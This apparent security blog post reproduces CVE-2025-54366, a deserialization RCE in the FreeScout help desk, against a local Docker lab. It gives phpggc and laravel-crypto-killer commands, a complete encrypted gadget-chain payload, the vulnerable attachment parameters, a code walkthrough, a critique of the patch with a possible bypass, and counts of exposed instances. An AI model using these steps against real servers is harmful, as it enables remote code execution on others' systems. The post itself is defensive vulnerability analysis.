Originally posted on my github
Summary
Recently, a new CVE-2025-54366 was disclosed in freescout - a free self-hosted help desk & shared mailbox. This vulnerability involves using APP_KEY to craft a PHP serialized payload that will fire when it reaches Helper::decrypt function used in conversation flow. You can read more about APP_KEY and its exploitation at exploiting-public-app_key-leaks and at laravel-appkey-leakage-analysis. Below is my attempt at reproducing the CVE and my analysis of it in detail.
Setup
In order to setup a vulnerable instance of freescout I used below docker-compose file. This is a slightly modified version of this file. I have updated the image ports and SITE_URL variables, keeping rest the same.
1 | version: '2' |
Place the above file in your working directory and use below command to spin up instance of the freescout
1 | docker compose up -d |
The freescout portal will be available at http://localhost:9100/. For ease of exploitation you can proxy this to Burp Suite or any proxy of your choice. Login with credentials setup in the ADMIN_EMAIL and ADMIN_PASS variable in the docker-compose.yaml file.
Steps to Reproduce the CVE
- We need to setup a few thing to reproduce the vulnerability and craft our RCE exploit. First, download and install laravel-crypto-killer and phpggc
- As mentioned in the advisory we need APP_KEY and a user account to exploit this issue. In a real world scenario you would need another vulnerability like LFI to access the .env file. For now we will just use the APP_KEY from our docker instance as shown below.
1 | /www/html # cat .env |
- Next we also need to know the Laravel version used by freescout. We use following command to do that.
1 | /www/html # php artisan --version |
- Now we use phpggc to check for gadgets specific to our Laravel version as shown below.
1 | php8.3 phpggc -l laravel |
- We can use Laravel/RCE4 as that matches our version of Laravel. Next we create our payload using following command. Once run it will create a file named
rcein/tmp/directory.-boption encodes our payload into base64 format.
1 | php8.3 phpggc Laravel/RCE4 system "touch /tmp/rce" -b |
- Next we need to encrypt this payload using laravel-crypto-killer tool as shown below using the APP_KEY. This is our final payload.
1 | python laravel_crypto_killer.py encrypt -k base64:ZT6QMwgEO3PqeX/J3s2QmtR7bcmAi027xSW9bnHWPk8= -v Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MzE6IklsbHVtaW5hdGVcVmFsaWRhdGlvblxWYWxpZGF0b3IiOjE6e3M6MTA6ImV4dGVuc2lvbnMiO2E6MTp7czowOiIiO3M6Njoic3lzdGVtIjt9fXM6ODoiACoAZXZlbnQiO3M6MTQ6InRvdWNoIC90bXAvcmNlIjt9 |
- Based the PoC request in the CVE advisory, the vulnerable endpoint is
conversation/ajax. To reach there we need create our first mailbox. When we login for the first time it walks us through the creation of mailbox. This also creates an email ID for e.g.support@localhost.comwhich we will use. - Next we create conversation with the with any email ID. We will use the one created in the above step. It can be done by visiting the http://localhost:9100/mailbox/1/new-ticket endpoint or from the side menu. Enter the
ToandSubjectand anything in the body similar to below screenshot.

- Now access the conversation as shown below.

- Here is a slightly tricky part. Now reply to this conversation with an any attachment. Once you reach the point 3 as shown in below image, we need to have the intercept on in the Burp Suite proxy to capture the request on point 4. Otherwise the request goes through in the background and we do not get the initial request we need to exploit the RCE. This is the request that will give us the vulnerable parameters
attachments_all[]andattachments[]onconversation/ajaxendpoint.

- Once you capture the request send it to repeater using
Ctrl+rshortcut. Below is the original request with the parameters we need for our payload.

- Next we update the highlighted parameters with the final payload we created earlier as shown below. Ensure the payload is URL encoded if needed and send the request. Its the case for me as my final payload has a trailing
=. Once done you will something like below as sign of successful exploitation.

- Next we verify that the file was created in our docker instance as shown below confirming remote code execution.
1 | / # ls -l /tmp/ |
Code Review
Lets dive into some code and understand the flow of the request. Here is a quick walkthrough of how user provided input ends up in the unserialize function without any validation resulting in to RCE.
This is where you can take help of AI to speed up your process. I added the code to VScode and ask the copilot to help me this.
- HTTP Request Entry Point - This is our vulnerable request and parameter as seen above.
1 | POST /conversation/ajax |
- Route Processing (routes/web.php:65) - Next freescout will route this request to ConversationsController as shown below.
1 | Route::post('/conversation/ajax', ['uses' => 'ConversationsController@ajax', 'laroute' => true]) |
- Controller Entry (ConversationsController.php:571) - This is where type of action is checked, which in our case is
send_reply.
1 | public function ajax(Request $request) { |
- Attachment Processing (ConversationsController.php:851) - If attachments are found those gets passed to
processReplyAttachmentsfunction for further processing.
1 | // Get attachments info |
- The Vulnerable Function (ConversationsController.php:3134) - Here is the vulnerable call to
decodeAttachmentsIdsthat processes our input fromattachments_allandattachmentsparameters.
1 | public function processReplyAttachments($request) { |
- The Critical Vulnerability (ConversationsController.php:3162) - This is the
\Helper::decryptfunction that decrypt theattachment_idas mentioned in the advisory.
1 | public function decodeAttachmentsIds($attachments_list) { |
- The Vulnerable Decrypt Function (Helper.php:892) - This is where the unsafe deserialization happens.
1 | public static function decrypt($value, $password = null, $unserialize = false) |
As you may have noticed there is no input validation or any sort of checks done on the attachment_id parameter to avoid unsafe deserialization.
Fix for the vulnerability
Lets look at the fix that has been implemented now. Here is the link to the diff from their github e2de65f3f32f825b4ec5558643ed81438c9a6bc6
1 | public static function decrypt($value, $password = null, $force_unserialize = false) |
unserializehas been replaced withforce_unserializeand set to false to not allow deserialization by default.falseparameter has been added to line 5 and 7 to decrypt call- Next lines have a regex check for
$valuewhich check if its starts withdorsorawhich represents below types
d:- serialized double/float
s:- serialized string
a:- serialized array
It is missing two other types, i.e.
i:- serialized integer
O:- serialized object - If it starts with these 3 values it is supposed to serialize them but due to presence of
!negation on preg_match it wont. This is still a bit of work in progress code as I understand it. The latest docker image and release1.8.190has the following code
1 | if (preg_match("#^[idsa]:#", $value) || $force_unserialize) { |
- This one allows any value that start with either of
idsaand not objects as those could be our malicious payload. - This fix itself is not a great one. If someone manages to create an exploit based on serialized array instead of object. The value would look similar to
a:1:{s:4:"data";O:9:"SomeClass":1:{...}}. The preg_match condition will now pass allowing deserialization of our payload leading to RCE again.
Here are the recommended fixes
- Removing unsafe
unserialize()calls if possible - Using JSON instead of PHP serialization or using json encode/decode to safely create objects instead of trusting user inputs
- Adding HMAC integrity validation
- Implementing strict input validation - regex is one of the but you need to be very careful on how its implemented as situation like above can happen.
Exposure on the Web
There are some 6K+ instances of freescout visible on fofa. Some of the are likely to be vulnerable if not updated since the disclosure.

Similarly on Shodan we see some 1K instances.

Since this exploit requires knowledge of APP_KEY as well having an authenticated user session, the exploitability/likelihood reduces quite a bit. None the less, better patch than be sorry 😊
References
OWASP - Deserialization_Cheat_Sheet
OWASP - php deserialization fix
GitHub diff - e2de65f3f32f825b4ec5558643ed81438c9a6bc6
GitHub Advisory - GHSA-vcc2-6r66-gvvj
GitHub Repo - laravel-crypto-killer
GitHub Repo - phpggc
GitGuardian Blog exploiting-public-app_key-leaks
Synacktiv Blog laravel-appkey-leakage-analysis